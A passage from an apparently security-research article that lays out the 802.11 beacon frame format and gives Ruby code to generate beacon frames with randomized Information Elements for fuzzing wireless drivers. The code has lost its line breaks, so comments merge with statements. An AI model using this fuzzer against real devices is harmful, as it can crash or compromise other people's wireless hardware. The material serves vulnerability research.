Informative Information for the Uninformed | |||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||
|
Size | Description |
1 | Frame Type |
1 | Frame Flags |
2 | Duration |
6 | Destination |
6 | Source |
6 | BSSID |
2 | Sequence |
8 | Timestamp |
2 | Beacon Interval |
2 | Capability Flags |
Variable | Information Elements |
2 | Frame Checksum |
The Information Elements field is a list of variable-length structures consisting of a one byte type field, a one byte length field, and up to 255 bytes of data. Variable-length fields are usually good targets for fuzzing since they require special processing when the packet is parsed. To attack a driver that uses Passive Mode to discover wireless networks, it's necessary to flood the target with mangled Beacons. To attack a driver that uses Active Mode, it's necessary to flood the target with mangled Probe Responses while forcing it to scan for networks. The following Ruby code generates a Beacon frame with randomized Information Element data. The Frame Checksum field is automatically added by the driver and does not need to be included.
# # Generate a beacon frame with random information elements # # Maximum frame size (max is really 2312) mtu = 1500 # Number of information elements ies = rand(1024) # Randomized SSID ssid = Rex::Text.rand_text_alpha(rand(31)+1) # Randomized BSSID bssid = Rex::Text.rand_text(6) # Randomized source src = Rex::Text.rand_text(6) # Randomized sequence seq = [rand(255)].pack('n') # Capabiltiies cap = Rex::Text.rand_text(2) # Timestamp tstamp = Rex::Text.rand_text(8) frame = "\x80" + # type/subtype (mgmt/beacon) "\x00" + # flags "\x00\x00" + # duration "\xff\xff\xff\xff\xff\xff" + # dst (broadcast) src + # src bssid + # bssid seq + # seq tstamp + # timestamp value "\x64\x00" + # beacon interval cap # capabilities # First IE: SSID "\x00" + ssid.length.chr + ssid + # Second IE: Supported Rates "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + # Third IE: Current Channel "\x03" + "\x01" + channel.chr # Generate random Information Elements and append them 1.upto(ies) do |i| max = mtu - frame.length break if max < 2 t = rand(256) l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1) d = Rex::Text.rand_text(l) frame += t.chr + l.chr + d end
While this is just one example of a simple 802.11 fuzzer for a particular frame, much more complicated, state-aware fuzzers could be implemented that make it possible to fuzz other packet handling areas of wireless device drivers.